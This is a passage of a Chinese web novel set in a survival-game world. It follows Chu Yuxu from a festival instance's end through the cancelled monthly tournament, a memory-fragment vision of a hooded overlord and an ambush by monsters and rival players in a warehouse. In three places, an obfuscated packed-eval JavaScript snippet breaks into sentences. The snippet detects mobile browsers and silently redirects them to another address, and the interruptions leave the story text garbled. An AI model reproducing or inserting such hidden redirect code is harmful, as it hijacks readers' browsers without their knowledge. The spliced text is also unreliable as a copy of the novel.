第一朵烟花在天际炸开的瞬间,溪边的喧闹声戛然而止。金色的光雨倾泻而下。初与序仰起脸,夜风忽地掠过,吹起她早已披散下来的黑发。 烟花在她眼底明明灭灭,映出几分恍惚的神色。她望着不断绽放又消逝的光束,眼底的情绪比夜色更深。 冬逢初站在她身后半步的位置,没有出身,也没有靠近。他看着她被烟花照亮的侧脸,长发在风中飞舞,像一片抓不住的影子。 又一朵烟花绽放,紫色的光芒洒落,初与序的睫毛轻轻颤了颤。 景明垂抱着手臂望向远方,随歌在不远处大呼小叫地指着天空。 最后一朵烟花升空,炸开成万千流火,又转瞬即逝。 黑暗重新笼罩下来时,初与序轻轻呼出一口气,忽然感觉冬逢初来到了自己身侧。 “……阿序。”他的声音很轻,像是在担忧什么。 初与序转头,看见他从口袋里小心翼翼地取出一样东西。 那是个和她一模一样的小人偶。 布料的针脚细密整齐,大衣上甚至多绣了几朵勿忘我,比她记忆中更加精致。只是人偶的右眼处,仍留着一道浅浅的针痕。 初与序愣住了。 她记得这是《扎人偶》副本里的诅咒人偶,当时NPC林浩用长针刺穿人偶的右眼,她的眼睛便跟着瞎了。后来冬逢初独自去找林浩,回来时一身血,但什么也没说。 原来他不仅杀了林浩,还悄悄带走了这个人偶。 冬逢初的手指轻轻抚过人偶的右眼,如今被他修补得几乎看不出痕迹。他低声道:“我……一直留着。” 初与序望着他,勾唇笑了下。她伸手接过人偶,手指轻轻碰了碰那道几乎看不见的针痕,然后将他重新放回了冬逢初的口袋。 “你留着吧,冬逢初。”她轻声道,“我不会再痛了。” 冬逢初愣了一下,小心翼翼地把口袋里的人偶放好,生怕被自己一个不小心挤压到。 溪水依旧载着河灯流向远方,火光点点,如同散落的星辰。 120.月度巅峰赛取消 最后一盏河灯的光点消失在溪流转弯处,夜空中的烟火余烬也渐渐隐入黑暗。晒谷场上的人群开始三三两两散开,老婆婆们收拾着碗筷,孩子们揉着惺忪的睡眼被大人抱回家。 “结束啦——”妹妹拖着长音宣布,手里的辣椒铃铛已经哑了声响。 初与序的目光扫过空荡荡的晒谷场,稻草堆上还留着随歌下午睡觉压出来的凹痕,装草莓大福的竹屉里只剩几点糯米饭,连那只总爱啄人的三黄鸡也不知道去哪里打盹了。 老村长提着灯笼走过来,脸上的皱纹在光晕中显得格外深邃:“多谢几位帮忙,祭典很圆满。” 夜风忽然大了起来,吹得灯笼里的火苗剧烈摇晃。 冬逢初轻轻说:“回去了。” 四人沿着田埂往回走,身后是熄灭的篝火,是散落的彩纸,是承载过愿望的溪流。初与序回头望了一眼,村庄的轮廓已经隐在夜色里,只有零星几盏灯火还在闪烁。隐约传来最后几句村民的谈笑,混着虫鸣,随风飘散。 【恭喜各位玩家通关《田园牧歌》。】 【丰收祭典,自古便是土地与生灵的契约。以三日劳作,换一场对五谷的礼赞;以掌心厚茧,抵岁月漫长。当最后一盏河灯顺流而下,当晒谷场的笑声散入星河,这个没有刀光剑影的副本,终以最温柔的方式落幕。】 【真正的生存之道,有时藏在一粒稻谷的垂首里,有时隐于半盏河灯的微光中。】 【本次副本奖励已发放到各位玩家面板,可打开查看。】 【愿各位在未来的副本里,仍记得这一程的稻香。】 初与序点开系统面板,查看自己的副本奖励: 【本次副本奖励:四十三积分。获得“溪水之韧”(可制造一个持续5秒的水幕屏障,完全免疫下一次受到的攻击,包括物理、魔法、精神类)。】 【特殊奖励:获得“祭典的余温”(全队成员攻击力+10%,持续下一个副本结束)。】 前方,D019次列车的汽笛声响起,催促着玩家归程。初与序转身跟上另外三人,登上了列车。 几小时前,雪原宫殿内,烛火幽暗。 妄主斜倚在主座上,苍白的手指间夹着一份薄薄的资料。执行官垂首立于一侧,殿内只有纸张翻动的沙沙声。 “进度太慢了。”祂忽然开口,声音很轻。 资料上记载着初与序的行动轨迹,近期的副本通关记录显示,她时而犹豫,时而果决,矛盾得不像同一个人。 妄主的手停在某一页,那是《死亡电梯》副本。 “按照她的能力,这场副本完全可以提前通关。”祂低声道,“可每场副本的通关手法却又很熟练。” 执行官没有接话,他们知道妄主不需要回答。 沉默片刻,妄主合上资料,抬眸望向长桌尽头。那里坐着一位卷发男管理员。正百无聊赖地转着一支钢笔。察觉到视线,他停下动作,挑眉回望。 “你下去盯着他们几人。”妄主说。 管理员笑了:“怎么?觉得她有问题?” “她的行为逻辑不正常。”妄主将资料丢到桌上,“我要知道原因。” “行啊。”管理员耸耸肩,钢笔在指间灵巧地转了一圈,“不过,你就不怕我下去惹事?” 妄主注视着他,冰蓝色的瞳孔深不见底:“初一会看着你。” 卷发管理员笑意更深,起身时顺手捞走了那份资料:“遵命,大人。” 他转身走向殿门,背影散漫,却在踏出宫殿的下一秒,眼神冷了下来。 “妄主怎么把那孙子叫下去了?”殿内一个管理员压低声音问。 旁边男人揉了揉头发:“可能天天看着他也嫌烦吧?他两见了面,十次有八次在吵‘让不让那孙子回现实’的破事。” “我倒觉得挺好。”另一人托着下巴,“少个人抬杠,开会都能早点结束。”他又想到了什么,“不过初一她不是办事去了吗?还有时间盯着他?” “不知道。”原先的人摇摇头,“可能又有时间了?” 几人交换了个心照不宣的眼神,余光却悄悄瞥向主座。妄主正垂眸翻阅新的文件,似乎对他们的议论充耳未闻。 四人刚踏出列车站,就察觉到永冬之城的氛围有些古怪。平日里行色匆匆的玩家三三两两聚在一起,低声议论着什么,甚至没有注意到从S级副本安全归来的他们。远处系统处理区和办事区的大楼前围满了人,隐约能听到争执声。 “发生啥事儿了?”随歌好奇问,“‘月度巅峰赛’后天开始了,这么多人不下副本训练,还聚在这里干啥?” “可能副本场景崩溃了?”冬逢初猜测。 回到D栋,发现回北队伍的四人正围坐在大厅下棋。 “哟!”随歌凑过去,“你该这么下,哎对!…诶?回北呢?怎么就你们四个?” 向枝冥头也不抬地移动棋子:“想她女朋友了,在家自闭。” 景明垂忽然想到了什么:“月度巅峰赛要开始了,你们不准备?” “Cancelled(取消了)。”u谷开口,手中的黑子“啪”地落在棋盘上,“你们看论坛。” 四人这才恍然大悟,难怪城里气氛古怪。自从第一届巅峰赛开启后,几千年从未取消过。永冬之城每月一度的巅峰赛不仅仅会刷新玩家排名,也是获取资源的重要途径,突然取消必然会引起轩然大波。 初与序打开手机,点开论坛,猩红的紧急公告立刻弹出: 【系统紧急通知:】 「由于系统检测到“参赛队伍数据异常”,为确保公平性与赛事稳定性,今年所有「霜月争锋」月度巅峰赛将取消。」 【凋整方案如下:】 「1.原定巅峰赛参赛玩家(全服排名前1000)名将获得五百积分作为补偿」 「2.今后进入副本队伍分配模式临时更改为:随机混编组队,以优化匹配体验」 【注意事项:】 「混编队伍名单由系统自动生成,不可更改」 「副本难度适配队伍平均等级,请谨慎协作」 【感谢您的理解与配合】 【——永冬之城系统总部】 随歌夸张地念出声:“ ‘参赛队伍数据异常’?这是什么鬼?” 景明垂皱眉:“第二条,今后开启混编队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16585013|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伍模式?系统这是什么意思?” 论坛评论区已经炸开锅: 【用户A】:随机混编?系统疯了吗? 【用户B】:上周屠宰场和红蝶组的人进入一个副本,在里面自相残杀,现在要强制组队? 【用户C】:绝对有问题!系统基本不会自动“数据异常”! “那我们要是和屠宰场的畜生分到一队怎么办?”随歌不可置信,“难道以后我们要一边打副本一边防着队友捅刀吗?” 安楚慢悠悠从自己面板里调出系统通知单:“别急,有好消息。”他把系统通知单共享给另外几人,“我们队和你们队被系统判定为‘高匹配度队伍’,今后默认合并组队。” 赵禾头也不抬,冷冰冰补充:“以后每次进副本,系统会从我们十个人里随机抽选组队。” 初与序的目光落在自己的系统通知单上: 【系统通知】您已被分配至混编队伍「D-019」。当前队伍成员: 「初与序(拯救世界顺便偷草莓计划组)」 「景明垂(拯救世界顺便偷草莓计划组)」 …… 「回北(大难临走各自飞组)」 「赵禾(大难临头各自飞组)」 …… “大难临走各自飞组?”随歌一字一顿地念道,“我才注意到你们这名字,比我们的还离谱!” 向枝冥叼着根没燃的烟(因为赵禾不让抽),冷笑:“总比某些人把‘偷草莓牛奶’写进队名强。” 身后D栋大门被推开,江意面色凝重地走进来,西装外套上还站着从树枝上落下来的雪粒。 “意哥?好久不见。”随歌挥了下手,“你看啥去了?” “去系统处理区找D19和C13谈话。”江意推了推眼镜,声音低沉,“这次系统数据异常不是机器故障导致,看上去更像是人为干的。” “那个人偷偷修改了某两个团队的绑定信息,系统检测到队伍成员重复绑定,判定为数据异常,自动触发紧急协议。” 大厅内剩下几人对视一眼。 “能造成这种级别系统异常的人,权限至少是S+级,并且熟知如何利用系统规则的漏洞。”江意说道。 “最高级别S+级的执行官只有个位数。”冬逢初立刻反应过来,“除非是永冬之城的管理员,或者更高级别的存在。” 随歌倒吸一口冷气:“等等,该不会是那个传说中的‘妄主’吧?” “祂要取消月度巅峰赛简简单单,没必要制造一个技术问题,让系统故障。”安楚不急不慢道,“所有一定不是妄主。” 向枝冥掏出几枚铜钱,铜钱“叮”的一声掉在棋盘上,反面朝上。在道教卦象中,这通常预示着阴盛阳衰,暗藏凶险。 “要出事咯…”他挑眉道,将铜钱重新收起。随后站起身往楼上走,“以后我们就算一条绳上的蚂蚱了,希望可以和平相处。” 初与序抱着胳膊望向门外,脑海里下意识又想起相机里那些照片,那个背景是阁楼的视频,那位与她一模一样的“初与序”,那些无人能解的谜题,或许答案就藏在这场突如其来的系统异常中。 121.记忆碎片 【玩家初与序,你确定要使用「记忆碎片」吗?仅此一次机会】 D栋1802,壁炉的火光在初与序脸上跳动,将她的轮廓镀上一层橘红色的边。火腿面板安静地坐在沙发另一端。 初与序的目光落在面板的红色提示上,迟迟没有动作。 火光在她眼眸中摇曳,映出那些无人知晓的过往。脖颈右侧的幻痛突然变得清晰,仿佛视频里那把短刀刺入的是自己的皮肉。 初与序转头看向身边的火腿面巴,“如果我半小时内没有醒来,你就去找景明垂他们。” “好!”火腿面包信誓旦旦道。 【确认。】 她按下确认键的瞬间,世界如同被打碎的镜子般裂开。壁炉的噼啪声、火腿面板的蹦跳声,以及自己的呼吸声,全部被拉长成模糊的杂音。 黑暗如潮水般涌来,初与序感觉自己正在坠向某个深不见底的记忆深渊。 意识被拉扯着,穿过无数破碎的记忆,最终跌入一座苍白寂静的宫殿。墙壁是冷白色的,泛着冷光,像冻结的深海。她低头,发现自己的身体是半透明的,没有人能看见她,没有人能感知她。 走廊两侧,执行官们和管理员们穿行着,他们的面孔模糊不清,仿佛被可以抹去了特征。初与序向前走去,脚步声在虚空中消失无踪。 越靠近走廊尽头,执行官的数量越少直到最后一段长廊,空无一人。 尽头是一扇高耸的白色大门,微微敞开,缝隙里渗出刺骨的寒意。 初与序无声靠近,从门缝中向内看去。 房间内,穹顶高悬,苍白的光从上方落下,映照出中央一座冰冷的主座。 主座之上,一道身影笼罩在宽大的冰蓝色斗篷中,兜帽低垂,遮住全部面容。祂的手指轻轻搭在扶手上,右手中指戴着一枚蓝色戒指,苍白修长,像是从未见过阳光。 “你把她放进了阁楼。”祂的声音很轻,听不出性别,却带着不容置疑的威严。 站在主座前的,竟是另一个“初与序”。 她穿着松垮的病号服,袖口磨损,脖颈右侧颈动脉处有一道横着的疤痕。面上神情淡漠,甚至带着一丝厌倦。 “是。”她回答得干脆利落。 “但现在,她消失了。”主座上的声音依旧平静,“我和你说过,阁楼不是她的终点,你却不听。” “终点?”另一个初与序歪了歪头,“你觉得她会在乎你设定的终点?她比任何「初与序」都要明白这一切,甚至比你还要明白。你以为你是妄主,就能控制她?让她走你的、「初与序」的路?” 沉默。 下一秒,只听“砰!”一声!某种无形的力量将“初与序”狠狠压向地面,她的膝盖撞上冰冷的地面,鲜血瞬间沿着瓷砖缝隙蔓延。 “一年内,找到她,无论她去了哪里。”主座上的声音冰冷。 “初与序”缓缓抬起眼,直视着主座上的人:“你根本不会杀我,你需要我,没有人比我更了解你,没有我,你早就死在几百年前了。” “大人,三百多年了,放弃吧。” 妄主放在桌上的手指微微收紧,“初与序”闷哼一声,嘴角有鲜血溢出。 “滚出去。”妄主最终没有下死手。 “初与序”站起身,拍了拍膝盖上并不存在的灰尘。她的嘴角依旧挂着那抹若有若无的微笑,转身走向门口,正对着初与序的位置。 初与序知道对方看不见自己,但还是下意识屏住呼吸。 可就在“初与序”即将擦肩而过的上一秒,她的脚步忽然顿了一下。她微微侧过头,目光似乎穿透了虚无,直直地望了过来。 壁炉的火光突然变得刺眼,初与序猛地睁开双眼,伸手扶住沙发扶手。冷汗顺着她的太阳穴滑落,呼吸急促。 “初与序!”火腿面板惊慌地蹦到她肩上,“你脸色好白!” 初与序的瞳孔剧烈收缩,冰蓝色宫殿的幻影仍残留在视野边缘。那个王座上的妄主,那个和她一模一样的、脖子右侧动脉有疤的初与序,那些充满压迫感的对话。 初与序飞快从怀中掏出时光之书的碎片,没等火腿面包反应过来,碎片便在她掌心化作一道流光:“我去一趟时光之书的阁楼,晚饭你自己解决。” “等等!你的脖子……” 火腿面包的惊呼戛然而止,初与序的身影已然消失在原地。 阁楼依旧昏暗,木质的地板上积着薄灰,四面墙壁贴满打满马赛克的白纸。很巧的是,江意也进入了阁楼,站在角落里翻阅时光之书。听到动静抬头:“初与序?你怎么来……等一下。” 他的目光落在初与序的脖子上,皱起眉头:“你的脖子……” “什么?”初与序伸手捂住脖子,江意已经快步走来,将一面小镜子递到她面前。 初与序放下手,镜中,她脖颈右侧,那个在视频里被短刀刺穿的位置,赫然浮现出一道极浅的疤痕。更诡异的是,那道疤正以肉眼几乎无法察觉的速度,极其缓慢地加深,就像某种无形的刀刃正在一点点割开皮肤。 “什么时候出现的?”江意的声音绷紧。 “刚刚……不对。”初与序摇头,“应该不是刚出现的,是在看完相机里的视频后就有了,只是太浅了,我没在意。” 江意的目光锐利:“你是说,这道疤是因为看了相机里的视频?” “是‘因为’,也是‘同步’。”初与序放下镜子,眼眸灰暗。 江意推了推眼镜,在脑海里快速检索着有关知识。他直视初与序:“视频里的‘你’被杀,而现实中的你开始出现同样的伤口,疤痕在以不可察觉的速度加重。” “你刚刚有没有干什么?”他问。 初与序说:“我用了记忆碎片。” 江意合上时光之书:“你看到了什么?” 初与序没有立即回答,她抬头看向阁楼的天窗,那里透进的微光被灰尘切割成碎片,如同她此刻混乱的记忆。 “另一个穿着病号服的我。”她简单道,“和一个披着冰蓝色斗篷的人。” “你有没有想过,是‘因果’正在重叠?”江意缓缓开口。 初与序张了张嘴,不知道说什么。脖颈疤痕的刺痛感越来越清晰,像是有人在提醒她什么事情。 “我想看看时光之书。”她伸出手。 江意没有拒绝,把时光之书放到她的手中。初与序拿着书坐到沙发上,翻开第一页: 「玩家初与序于永冬历***年进入第一场新手副本《钟楼》,顺利通关」 「第二场新手副本《黑羊祭》中,玩家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16585014|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初与序与玩家冬逢初相遇,并结伴通关副本」 「玩家初与序与三位队员进入《马戏团》,引发了一场小爆炸」 「玩家初与序于永冬历***年完成“勿忘我”武器共鸣测试,表现出极强的谨慎稳定性」 「玩家初与序与玩家冬逢初在《死亡电梯》副本首次触发双生武器共鸣,系统数据异常」 「屠宰场队员首次动手,玩家冬逢初重伤」 …… 初与序直接跳过那些关于副本的记录,来到另一页: 「玩家江意发现玩家初与序有时会无意识地画出圆形」 「玩家冬逢初在海边向玩家初与序表白,玩家初与序并未同意」 …… “这份记录少了两个人。”初与序合上时光之书,“景明垂和齐无尽。” 景明垂是她的挚友,初与序无条件信任她。所有突破口还是在齐无尽身上。 她回想起齐无尽那两道莫名其妙的问题: “圆周率完整的所有数字是什么?” “创造时光机的步骤是什么?” 以及自己最近经常无意识地在纸上画下的无数个圆。 “齐无尽在通过那两个问题暗示什么?”初与序突然觉得头隐隐作痛,她伸手按住太阳穴,“这一切…和‘圆’有关。” 江意目光一闪:“循环?” “或者轮回。” 初与序用手肘撑在膝盖上,手指依旧按在太阳穴上。疼痛似乎在阻止她继续回想那些被自己丢失的记忆。江意见状,给她倒了杯热水。 “意哥。”初与序接过水杯,声音疲惫,“执行官和玩家们都说,永冬之城前十八年,还不是终年飘雪。” “没错。”江意点点头,没有表情,“那时候,春天巷口的樱花会落满整个中央广场,夏天暴雨后的玩家会在积水里踩水花,秋收季节所有玩家都能拿到执行官做的麦芽糖,冬天…冬天反而最短,只有两个月,但也有满城的勿忘我。” 初与序抿了一口热水。 “所以……”她抬起眼眸,“十八年前的永冬之城,叫什么名字?” 江意愣住了。 风突然从阁楼缝隙灌入,吹得满墙马赛克白纸哗啦作响。江意按住桌上飞扬的书页,摇了摇头。 “抱歉,我不知道。” 初与序将水杯放到茶几上,没有继续关于“记忆”的话题,而是话锋一转:“说起来,D19帮了我们不少,你们认识很久了?” “嗯。”江意正在整理书架,背对着她应了一声,“我刚来永冬之城时破坏过一个副本,他是修理副本的执行官。” 初与序点头:“上次《田园牧歌》副本不错,是你建议D19选那个副本的?” “提过一句。”江意终于抬起头,目光平静如水,“毕竟你们伤都没好全。” “也是。”初与序站起身,衣袖带起细微的气流,吹散了桌角的尘埃。 江意忽然叫住她:“初与序,你们四个的武器还在系统处理区,记得去拿。” 初与序点点头,没有说话,将右手放在时光之书的封面上。随着一阵白光闪过,她消失在阁楼,回到了永冬之城D栋。 江意缓缓抬眼,目光落在初与序方才做过的位置,片刻后慢慢移开。 122.T区仓库 初与序回到D栋时,火腿面包正吸溜着泡面,汤汁溅了一桌子。 “你不吃啊?”它含糊不清地问。 初与序摇了摇头,留下一句“吃完记得擦干净桌子”后,转身准备回房。 “砰!” 一声闷响炸开,她猛地转头,只见她房子的落地窗上炸开一朵刺目的血花,一只纯白的鸽子像断线的风筝般从窗面滑落,羽毛和鲜血在玻璃上拖出一道刺目的红痕,随后滑落消失。 初与序和火腿面包同时僵住。 “卧槽?!”火腿面包也顾不上吸溜泡面了,跳起来蹦下桌子,“快去楼下看看!” 两人冲下楼时,白鸽的尸体安静地躺在雪地里,它的脖颈以诡异的角度扭曲着,左翼完全折断,森白的骨刺穿透羽毛。撞击让它的右眼爆裂,血浆混着脑组织糊在羽毛上,将周围的积雪染成粉红色。 初与序弯腰查看,发现它的腿上系着一张小卡片。初与序伸手取下,上面是一行张狂的字迹: 「我知道真相,独自一人来永冬之城T区仓库找我」 火腿面包在她肩膀上发抖:“这他妈绝对是陷阱!别去!至少先去系统处理区拿回你的武器!” “不用了。”初与序用雪擦净手上的鸽血,“我刚好去验证一件事。” “可是……” “在家等着,我会回来。”初与序将死鸽埋进路边的雪堆,头也不回地走向T区。火腿面包呆呆地站在D栋门口,忍不住怀疑初与序是不是疯了。 T区仓库周围没有玩家,铁门在寒风中摇摇晃晃。初与序推开门,霉味和血腥气扑鼻而来。 唯一的光源是屋顶一盏苟延残喘的灯泡,昏黄的光线下,灰尘在空气中缓慢浮动。 初与序缓步向前走,鞋底踩在潮湿的水泥地上没有声音,耳边传来某种液体滴落的声响,从黑暗深处传来。 突然,“轰!”一声,身后的铁门猛然关闭,巨响震得她耳膜生疼。 初与序转过身,只见一个模糊的人影从货架后缓缓走出。 那是个身形扭曲的男人,脖子歪斜到一个不可能的角度,嘴角咧到耳根,露出森白的牙齿。 初与序停下脚步,站在原地观察。 下一秒,男人的四肢突然猛地反向斩断,手脚诡异地翻转,像一只巨大的蜘蛛般趴伏在地。他的关节发出“咔嚓”的摩擦声。 他手指抓着地面,嘴角躺下浑浊的唾液,以惊人的速度朝初与序爬来! 初与序后退一步,后背却猛地撞上什么冰冷僵硬的东西。 她缓缓回头。 一张惨白的脸几乎贴到了她的鼻尖。 那是个女人,如果还能称之为“人”的话。她的眼眶里没有眼球,只有两团蠕动的黑色物质,嘴角被粗糙的线缝出一个夸张的笑容。 “嘻嘻……” 女人的喉咙里挤出诡异的笑声。 借着昏暗的灯光,初与序终于看清了仓库的全貌。 货架上,天花板上,阴影里,全部几满了怪物。有四肢细长如竹节虫的苍白生物;有浑身长满嘴巴的肉团;有头颅旋转180度的孩童…… 它们全都直勾勾地盯着初与序,嘴角咧开一致的弧度。 有人把副本里最可怕的怪物,全部带回了永冬之城,就为了杀她。 最前排的怪物已经围了上来,它们扭曲的肢体在地面投下阴影。怪物的笑声在仓库里回荡,越来越近,越来越响。 第一击攻击袭来,初与序侧身避开面前怪物抓向自己喉咙的利爪,而另一只怪物的尖牙撕开她手臂的皮肉,她沉默后退,目光冷静。 黑暗的角落里,两个屠宰场玩家正窃窃私语。 “她怎么不还手?不像初与序的性格。”其中一人压低声音 “这里也没人帮她啊,只躲避没有用的。” “昨晚才从S级副本里出来,估计没力气了吧?”另一人幸灾乐祸,“正好,二当家的任务马上就能完成了。” 初与序敏感地捕捉到了这些低语,她再次后退,背靠在货架上,让自己位于角落,看上去无所依靠,而目光依旧落在仓库大门上。 “砰!”一声,仓库的侧门被踹开,刺眼的光线照了进来。几个屠宰场成员大摇大摆地走进来,身后跟着的执行官,竟然是……A12! 那个本该在系统处理区工作的老执行官,此刻正站在屠宰场玩家中间,和屠宰场勾结砸一起,脸上挂着虚伪的关切。 “哎呀,这不是初小姐吗?”为首的屠宰场成员咧嘴一笑,“怎么这么狼狈?” 初与序转过身看着他们。 “我们来,还是希望初小姐能够加入我们。”他举起胳膊,展示自己身后壮实的成员,“还是那句话,你是永冬之城不可多得的天才玩家,就这么死了,我们自然也舍不得。” “知道你肯定会拒绝,但我们是诚心的。这次,我们带来了可能会让你心动的条件。” 初与序勾唇笑了一下:“洗耳恭听。” “屠宰场有位‘长生’成员,永冬之城建立以来,一直活到了现在,他知道永冬之城的所有秘密。”男人胸有成竹,道,“我知道你们队伍试图找到关于永冬之城和历代管理员的秘密,但你们队伍五个人,有三个都是新人,江意和随歌再怎么说也才来了五年,又能知道什么东西?” “我们队伍资历深的玩家躲,和江意一样聪明的玩家也不少,何必只跟着你那些朋友不放呢?小姑娘,要为自己的前途想一想。他们可能义气,但他们能为你带来什么?名声吗?名声又有什么用?他们能给你线索吗?能带你找到永冬之城的秘密吗?不能。” “初与序,听从自己的内心吧,你需要我们。加入我们,我们可以共享任何与永冬之城有关的信息,那名‘长生’队员可以成为你的手下,你拥有的将会比现在多百倍。” “怎么样?”男人抱着胳膊,信誓旦旦,“我们带了诚意过来,希望你不会让我们失望。” “长生者?”初与序垂下眼睫,神情隐在阴影里看不清,“巧了,我最近正在思考一个问题,非常感谢你们提供新思路。” 她掀开眼皮,淡漠道:“我拒绝。我可以为我的队友付出所有因为我信他们,但我远不会这么坦诚的对待你们。” 屠宰场全员闻言,瞬间变了脸色,换成另一副姿态。其中一人脾气暴躁,忍不住一个箭步上前揪住她的衣领:“别给脸不要脸!” A12假惺惺地叹气:“年轻人,何必这么倔强呢?” 初与序的目光越过他们,最后落回仓库大门。 “你他妈往哪里看呢?!”揪住她衣领的男人猛地扬起手,拳头狠狠砸在初与序腹部。初与序皱起眉头,弯腰咳嗽几声。 男人见状,另一只手又抬了起来,打算再给初与序一拳。 初与序垂眸,目光落在他手腕的表上,秒针一格格跳动。 “你要完了。”她忽然开口。 男人一愣:“什么?” 整个仓库瞬间安静下来,屠宰场的成员们纷纷看向她,他们这才注意到,尽管初与序露出的皮肤上有几道伤痕,却没有一处是致命伤。 下一秒,初与序的拳头已经自下而上砸来,精准砸进男人心窝与肋骨的夹角。 仓库里回荡着清晰的骨裂声,伴男人脸色瞬间惨白,他的瞳孔骤然扩散,却连惨叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600923|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都发不出来。初与序的左手同时抓出他手腕,借着对方瘫软的势头一个反拧。 “啊——!!” 男人终于发出不似人类的嚎叫,他踉跄后退,撞翻一堆货箱,差点跪倒在地。他捂着伤处,不可置信地抬头:“你他妈……” 话音未落,仓库大门轰然爆裂! 一道身影如炮弹般飞射而入,凌空一脚将男人踹飞出数米远。男人重重撞在墙上,滑落时在墙面上拖出一道刺目的血痕。 烟尘散去,初与序看清来人后却愣住。 不是她预料的人。 站在门口的少女扎着凌乱的双麻花辫,脖颈前面的三凹处纹着一个浅红色的蝴蝶。她一脚踩在翻倒的货箱上,朝初与序咧嘴一笑:“发什么呆?干架啊!” 初与序睁大眼看着她,总觉得面前的姑娘很眼熟:“……你谁?” “白闽。”少女一个侧身避开扑来的怪物,“意哥最好的闺蜜!”她反手一记肘击将怪物砸趴在地,“先揍人,再叙旧!” 屠宰场的五人已经抄起家伙围了上来,白闽吹了个口哨,拽起初与序的手臂:“左边三个归你,右边两个归我。” 来不及多想,初与序旋身一记鞭腿扫翻左侧持刀的男人,顺势抓住另一人的头发狠狠撞向货架。白闽那边更是凶残,直接抄起铁棍砸在对方膝盖上。 A12怒吼道:“住手!你们这是违反了永冬之城规则!” “跑!”白闽拉住初与序的手腕,冲向侧门,“真烦人,执行官在现场就是不方便打架!” 两人撞开生锈的铁门,冲进蓝调的夜色中。冷风呼啸着灌入衣领,初与序被白闽拽着在永冬之城的暗巷中疾奔。 她的思绪十分混乱,原本笃定的人没出现,反而来了个意料之外的白闽。这名字她记得,几周前永冬之城热搜上的风云人物。 那时她擅闯系统的大厦,试图窃取系统资料,结果被捕。当时住在B栋附近的玩家全被强制进入副本,死伤惨重。 初与序被白闽拽着钻进一条窄巷,两人后背紧紧贴着冰冷的墙壁。追兵的脚步声由远及近,又渐渐远去。 “你怎么会来?”初与序压低声音,她记得自己跟白闽并不熟,这还是第一次见面。 白闽笑着说:“去找江意哥,路过仓库听到动静。” 她做了个偷看的动作,“门缝里看见你和屠宰场的杂碎对峙,就冲进来了。” 初与序的眉头微蹙:“路上没遇到别人——我们俩都认识的人。” “没啊。” 初与序突然迈步走出巷子,白闽急忙地拽她:“喂!他们可能还没走呢!” 巷外的街道空荡,只有永冬之城的雪粒在盘旋。天空是蓝调的,初与序站在街道上左右张望。 远处,一个熟悉的身影正快步走来。u谷的卷发在风中扬起,围巾遮住了半张脸。 他在看到初与序和白闽的下一秒停住脚步,两人隔空对视一秒,u谷皱起眉,随意点了下头打招呼,像是路过般转身离去。 初与序缓缓吐出冷雾,放松下来。 “你早就知道会有人来?”白闽跟上来,“不过为什么觉得是这个卷毛?叫啥来着……u谷?” 初与序摇了摇头:“不是认定是谁,只是猜测他们中有人牵涉其中。” 白闽将手插进口袋里,被冻得直打哆嗦:“那你知道是谁了吗?确定是u谷?哎你不冷吗?” “不确定。”初与序望向u谷离开的方向,没回答另一个问题。 白闽侧头看向初与序,忽然觉得,初与序其实正站在一张巨大的蛛网中央,而每根丝线的尽头,都连着令人窒息的真相。 123.不对劲 永冬之城的街道很冷清,初与序将手插在大衣口袋里,沿着松林小径走。白闽小跑着跟上她,麻花辫在背后一晃一晃。 “去医院处理下伤口呗?”白闽指了指她手背上一道抓痕。 初与序摇头,拐进了中央公园。雪地在她脚下发出细碎的声响:“不用。” 白闽一屁股坐在她旁边:“不行,你状态不对。” “我们才认识不到一小时。”初与序淡淡道,“你不用这样。” “江意的朋友就是我的朋友,担心自己朋友不是一件很正常的事吗?”白闽固执地抱臂,“你到底在烦什么?你预料的人刚刚不是出现了吗?” 初与序没说话,她冻得发红的手下意识摸向口袋里的烟盒,手指触到包装盒时,她瞥了眼身边的白闽,想着总不能让人家抽二手烟,又收回了手。 白闽敏锐地注意到这个小动作:“抽呗,我二手烟吸得多了。” 初与序摇摇头,望向远处的湖,水面映着永冬之城住户楼的灯火:“你认识意哥多久了?” 白闽晃着腿:“我是三年前进永冬之城的,认识他三年了。” “他是五年前进永冬之城的?”初与序又问道。 “是的。”白闽点点头,又疑惑道,“你不知道吗?我们所有人都知道意哥是五年前那一批新人玩家,永冬之城玩家和他聊天时,他经常会提一嘴。” 初与序皱了皱眉,但很快又换成了平日里的冷淡:“我忘了。”她又转过头,看向白闽,“刚刚屠宰场的人说,他们队伍里有‘长生者’?” 白闽闻言点头:“那个啊。新人获得武器后不是有抽奖环节吗?大多数人抽到的都是止血剂、强化石之类的。但八十年前有个玩家在处理区抽奖抽到了‘长生不老’,活到现在成了屠宰场的二把手。” “永冬之城一共有多少个这样的长生者?”初与序问。 